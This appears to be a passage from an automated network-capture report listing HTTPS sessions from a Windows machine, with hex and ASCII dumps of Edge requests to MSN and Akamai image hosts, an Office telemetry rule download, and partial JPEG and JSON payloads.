2024-10-30 17:06:44 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-10-30 17:06:44 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-10-30 17:06:45 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49868	20.125.209.212	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:44 UTC	1165	OUT	GET /c.gif?rnd=1730308002026&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=afd58c2af93748d98c213ba21956ddf0&activityId=afd58c2af93748d98c213ba21956ddf0&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1
2024-10-30 17:06:44 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1730308002026&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=afd58c2af93748d98c213ba21956ddf0&activityId=afd58c2af93748d98c213ba21956ddf0&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=4396C62932074923A9491A528DC91D11&RedC=c.msn.com&MXFR=3A3C51D39FB2654125F844FB9EBA64FA Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3A3C51D39FB2654125F844FB9EBA64FA; domain=.msn.com; expires=Mon, 24-Nov-2025 17:06:44 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Wed, 30 Oct 2024 17:06:44 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49869	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:44 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:44 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:44 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 481bd859-201e-00aa-219c-273928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170644Z-r1755647c66p58nm9wqx75pnms00000007e0000000009n16 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:44 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49873	23.47.50.173	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:44 UTC	634	OUT	GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:45 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 24 Oct 2024 21:47:10 GMT X-Datacenter: westus X-ActivityId: 44484eb0-5db6-48a7-8988-fcf9d0fd4bc0 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msBaE X-Source-Length: 57629 Content-Length: 57629 Cache-Control: public, max-age=319208 Expires: Sun, 03 Nov 2024 09:46:52 GMT Date: Wed, 30 Oct 2024 17:06:44 GMT Connection: close
2024-10-30 17:06:45 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-30 17:06:45 UTC	16384	IN	Data Raw: 27 29 59 4d 47 48 cd 8c f2 8f 29 a8 04 63 94 aa 34 19 2d 59 e5 1d 1a a4 51 2d 18 50 f2 9b 50 eb 80 b1 86 51 65 3a 29 0e 91 ab 66 9c f9 50 f2 9b d0 b2 8b 65 96 50 ca 69 94 74 56 59 0d 1a d0 b2 a0 24 74 3a a1 95 9b 2a 0a 2a 87 40 4d 0c b1 d2 08 81 d1 74 3a 09 6c e8 74 69 43 a0 96 ce 82 8d 68 28 23 2a 1d 33 51 e0 0b 65 43 a3 4a 45 50 4b 65 94 32 9b 50 50 4b 65 94 28 d6 87 40 65 41 46 b4 14 82 5b 2a 1d 1a 50 50 2d 03 2e 82 82 20 65 50 e8 09 15 71 2e 82 8a 26 8a a2 a8 64 44 57 12 b0 18 14 01 e4 14 19 57 20 87 95 70 0c 8b 72 3c 1f 8c f7 0d 5e fb dd 94 34 65 28 c9 4a da b6 94 97 27 5e 67 c2 ff 00 ed ff 00 8a 29 56 79 45 57 e2 4e 6f fe 9c 4b 18 f7 cd 26 bd d0 fd 67 c3 e0 2c 9c 19 f3 7f 03 ee 1d f3 ba 43 51 77 9e f3 a9 a8 9e 5c 91 ff 00 31 e5 db 6f e6 4b 6e 18 23 Data Ascii: ')YMGH)c4-YQ-PPQe:)fPePitVY$t:*@Mt:ltiCh(#3QeCJEPKe2PPKe(@eAF[*PP-. ePq.&dDWW pr<^4e(J'^g)VyEWNoK&g,CQw\1oKn#
2024-10-30 17:06:45 UTC	2996	IN	Data Raw: ed 25 bc b5 f0 98 ed 7a 53 d2 9e f9 c3 5e 3a 91 7d 53 6a 5d a7 26 af c2 15 e3 de 65 1e 32 d2 9b 58 ff 00 f6 e5 23 d3 fd 56 a4 24 94 fb bf 87 8a f9 65 9f 49 f5 3a 94 1f 9a 3a 5f 7b 8d a4 d6 ba be 59 66 97 94 bd c5 b9 85 b9 7c bf f2 9d 48 ab d2 ef 3d db 53 6a ac 74 e7 d5 e2 a5 eb 1c 7e 11 df 1a bc 9d 19 64 a5 ff 00 4c f6 75 1f 4b fa 8e eb a8 f2 be f1 06 f7 c3 51 34 fa d5 57 45 9b 78 31 92 4e 14 f7 5c 64 e9 79 48 b9 c8 f9 39 7c 1f be 57 cd a1 38 e1 b5 4e 3d aa 4e 2c c2 5f 0a ef 58 e5 c7 2e 2e 29 49 cd 75 28 e3 d3 1b 3e c2 5a 3a a9 52 d5 d7 ac 55 49 ad 55 d3 f3 de 3c 8e 5d 4e eb de 24 97 f9 b1 96 0b f1 c2 49 a7 cd 3d 39 41 ae 8c 50 ce 77 5f 27 e5 76 06 7d 81 7c 4f bd f3 b4 19 95 85 81 a8 cc ac 76 06 83 32 b6 17 c4 9a 8d 40 ca c7 98 8d 35 f2 0b 31 b1 e6 e0 29 Data Ascii: %zS^:}Sj]&e2X#V$eI::_{Yf\|H=Sjt~dLuKQ4WEx1N\dyH9\|W8N=N,_X..)Iu(>Z:RUIU<]N$I=9APw_'v}\|Ov2@51)
2024-10-30 17:06:45 UTC	16384	IN	Data Raw: 30 d6 4d ed f0 2b 37 41 cd 9e 1c 58 f3 c7 93 33 5d 1a be ae 9b e2 3b e2 8c 2f 87 98 ad f0 25 35 12 ea 4e c7 d5 da 73 60 5a ae 4c cb a4 36 5d 0b cc bc 7d 15 e6 61 4f 90 2c 0c cc 35 0e 8b e0 83 37 41 95 c7 88 b3 11 a7 4d f4 15 6b d2 f5 9c 79 ba 4d 13 5c 7c 89 50 b6 e8 ce ba 43 3f 57 91 9d 8a f8 31 43 a5 49 f0 2b 33 e0 73 76 06 63 2a eb cd c1 14 9a 7b 91 c9 98 9f 12 b7 12 96 dd fe 44 b9 61 b0 e4 5a a8 5e 32 dc 31 94 b8 7e 6b f1 df 88 77 a8 f7 fd 5d 29 4a 4a 3a 74 a3 17 8c 7f 0e da df 77 b6 cf 95 7a fa 8f 7f 46 ef 51 f6 1f c5 1a 5d de f4 f5 15 ad 69 5d f2 71 e3 c6 f6 1f 09 19 49 3b 47 d1 1e cf 33 f2 69 ce 75 b7 63 ef 1a 91 54 9b e7 b7 69 1f a8 94 9e 2d f5 b3 29 73 66 78 3d b8 1a 72 6b 2d 47 2d e2 f1 27 ce bb 08 49 6e 0c 78 06 54 e6 df 36 2b bd 8c 91 f6 80 f1 Data Ascii: 0M+7AX3];/%5Ns`ZL6]}aO,57AMkyM\\|PC?W1CI+3svc*{DaZ^21~kw])JJ:twzFQ]i]qI;G3iucTi-)sfx=rk-G-'InxT6+
2024-10-30 17:06:45 UTC	6000	IN	Data Raw: 4b a4 d1 38 7f 57 42 ae d3 9b e5 e0 8a f9 96 c6 9f 40 2d be 75 b9 45 74 ed f3 1a 97 27 25 c1 6c 39 f3 3d e9 be b2 d2 bc 63 78 11 ab 6d e2 fd 9e d2 fc 47 e8 2f ae b3 0e 99 27 cf 02 a3 28 6c 4e b8 3d 9d a6 5a 89 9d db f8 f2 e4 bc 87 e2 3a fc 2b d6 65 9b 76 1d 5b 0d 54 56 da 71 ea f6 19 d3 66 ae 77 96 6d af 46 ba da 34 52 7b a4 83 2d f2 64 34 96 ef 6a 0b ac 35 cd 2d fe 63 8b bd fe f3 25 26 b6 7c cb 93 f9 58 fc 58 ef 8d 74 92 96 e3 76 f4 f7 7a ca cb 33 9b c4 8f a4 d7 42 d8 5e 77 58 36 fb 2c 94 d4 4c 4b 6a ad b6 bc d1 6b 8c af b4 c1 6a ca 5b 53 f3 7e f1 a7 66 5a 37 b5 e1 bb 67 3e 22 a5 96 ee b8 2b f6 0b d5 d6 35 24 f7 f6 01 35 71 aa 5d 7b 7b 0d 71 df 5f 5c 99 2b 1d ff 00 7f 60 3b 58 5a fa e2 80 b7 5c 9d f6 19 38 c6 f0 b4 f9 ad 80 e4 d2 c7 67 4e cf 30 bb e4 ca Data Ascii: K8WB@-uEt'%l9=cxmG/'(lN=Z:+ev[TVqfwmF4R{-d4j5-c%&\|XXtvz3B^wX6,LKjkj[S~fZ7g>"+5$5q]{{q_\+`;XZ\8gN0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49874	23.47.50.173	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:44 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZ4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:45 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 25 Oct 2024 03:32:12 GMT X-Datacenter: northeu X-ActivityId: 293718bb-99bc-4e81-b818-4df9a0a1bc1d Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZ4 X-Source-Length: 49906 Content-Length: 49906 Cache-Control: public, max-age=339886 Expires: Sun, 03 Nov 2024 15:31:30 GMT Date: Wed, 30 Oct 2024 17:06:44 GMT Connection: close
2024-10-30 17:06:45 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-30 17:06:45 UTC	16384	IN	Data Raw: eb e6 4b 4f 82 d8 58 56 bc ba 96 da 13 be 3b 7f 69 bc ad c9 ad 4b ce 97 ad 23 5c 27 e4 c4 66 d1 9e f5 42 72 49 a4 f6 ef fc 2c 85 8e f7 6a fc da b3 46 92 4a fd 7b 17 e2 63 29 f4 4c cf 83 73 11 f5 35 d1 05 d5 7b 12 7f 62 dc a2 aa a3 7d bf 92 3c f9 65 d1 51 ef 7b 24 b8 9a c2 d3 b9 ee fa 2e 8b b7 bf c8 4d 7b 64 8b 46 71 11 e3 dc e9 9c e7 2e 3b 2f 5e e3 06 ee e4 ba f5 7e 5f 80 d4 f5 cd 47 8c b8 d3 ee ef 13 8e 95 2a 7b 3d ff 00 82 33 11 86 a6 79 f1 61 37 d0 f3 f2 2a e0 75 bd db 31 96 36 d7 96 e9 76 f7 1e 8a ee 78 f5 3f 73 92 ae 0e 5f cc fe 4b f8 98 e9 6b 75 b5 70 3a 17 fa 31 7d ce 51 7e 4f 89 15 6a d7 53 b4 3c 53 19 c7 84 4b 3c 79 5e 39 79 75 5f 8a 3a 30 7a 79 a7 2e 0b ed dc 71 c9 51 d9 c9 34 b2 ef d6 2f f3 25 a3 74 cf 72 69 4c ed d2 b3 3b b6 9e 84 d2 c7 08 c7 Data Ascii: KOXV;iK#\'fBrI,jFJ{c)Ls5{b}<eQ{$.M{dFq.;/^~_G{=3ya7u16vx?s_Kkup:1}Q~OjS<SK<y^9yu_:0zy.qQ4/%triL;
2024-10-30 17:06:45 UTC	1370	IN	Data Raw: 6a d6 77 71 b4 77 e7 93 eb b6 52 d9 25 1e 3f 92 66 3c c4 5c 96 fd cf e1 e4 79 98 bc 5f 97 c9 5e f1 4b 13 ea eb 52 7e d5 bf c8 f5 71 57 3b 93 1c 31 35 97 54 b7 71 7f 44 3a fc b8 1c 76 66 bc 63 18 e3 2f a5 e7 e9 6a d6 62 96 8b 67 84 70 9f 87 14 47 0f bd 8f fb 29 46 4d fd 3b 2e 1f c0 f1 79 99 2c 79 30 e6 c1 e8 e4 8f d6 9f 18 ce 0f 83 8f 73 5c 7a 33 db e7 32 c3 97 c9 cb 63 c7 6f 0e 39 ea c9 29 35 aa 79 1b de 6e ba 35 55 dc 8f 17 9c 83 fe a6 73 86 ce 94 f6 f6 7a 5e 7d f6 75 d2 df 3b f8 4c 4e 3f bb c3 d5 4f ec 98 88 fd d5 b5 62 7b 62 78 e6 be 0f b4 e5 1a 78 b1 ce 51 8d 7b b9 39 c6 5b a5 ef 6a 55 f1 e0 78 f9 21 85 63 c8 b4 a7 06 ee f7 ae 1c 17 de 91 de e6 eb 04 21 e9 2c 91 8b ba d3 ad b8 a7 6d 2e 09 70 f2 39 25 e9 38 e3 6d 25 6e a3 d3 6e bc 38 d5 33 c9 58 c5 a6 Data Ascii: jwqwR%?f<\y_^KR~qW;15TqD:vfc/jbgpG)FM;.y,y0s\z32co9)5yn5Usz^}u;LN?Ob{bxxQ{9[jUx!c!,m.p9%8m%nn83X
2024-10-30 17:06:45 UTC	16288	IN	Data Raw: 6f ef f9 1f aa bc 06 12 e5 97 71 ed d3 f5 4d 6a 71 9c f8 bc b7 e8 74 2f f4 c4 78 6e 7e 45 3e 43 3c 3a 59 c9 3c 39 23 c6 32 5e cf c8 fd 7a 5c 94 5f 43 8e 7e 1d 17 d0 f7 d3 d5 e3 ea af bd e3 bf a5 d3 e9 b5 a3 de fc 9e 86 7e 8b 93 c2 61 2f d2 8f 2f 27 82 43 a2 6b b0 f7 53 d4 ba 7b 73 98 78 ed e9 ba d1 c2 6b 6f 73 e3 80 fa 0c 9e 0f 92 3f 4b f8 a3 cf 9f 87 f3 10 fd 37 d9 fc 4f 5d 7a 8d 1b f0 bd 7e 2f 25 fa 6d 7a 71 d3 b7 cb 7b cf 03 69 61 cb 1e 30 92 f6 18 9d e2 62 78 3c f3 13 5e 31 80 22 84 30 84 22 80 09 01 80 52 00 02 00 00 60 20 00 08 00 00 a8 05 43 02 89 a1 51 60 13 0c 9a 15 1a 88 33 86 54 49 a8 a8 a9 86 65 46 53 83 b8 c9 c5 f7 a7 4f e4 3a 15 03 83 a9 f3 99 e4 aa 53 73 5f ee e3 f1 3d 7e 5b c4 71 2b 59 b5 2f f0 e5 8d 4b ea a8 c9 56 9f 25 e6 b7 3e 74 44 98 Data Ascii: oqMjqt/xn~E>C<:Y<9#2^z\_C~~a//'CkS{sxkos?K7O]z~/%mzq{ia0bx<^1"0"R` CQ`3TIeFSO:Ss_=~[q+Y/KV%>tD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49875	23.47.50.173	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:44 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDML.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:45 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 21 Oct 2024 13:29:56 GMT X-Datacenter: northeu X-ActivityId: b67b5744-1fdc-4b6a-947b-ca499d40f4b8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDML X-Source-Length: 86931 Content-Length: 86931 Cache-Control: public, max-age=418993 Expires: Mon, 04 Nov 2024 13:29:57 GMT Date: Wed, 30 Oct 2024 17:06:44 GMT Connection: close
2024-10-30 17:06:45 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
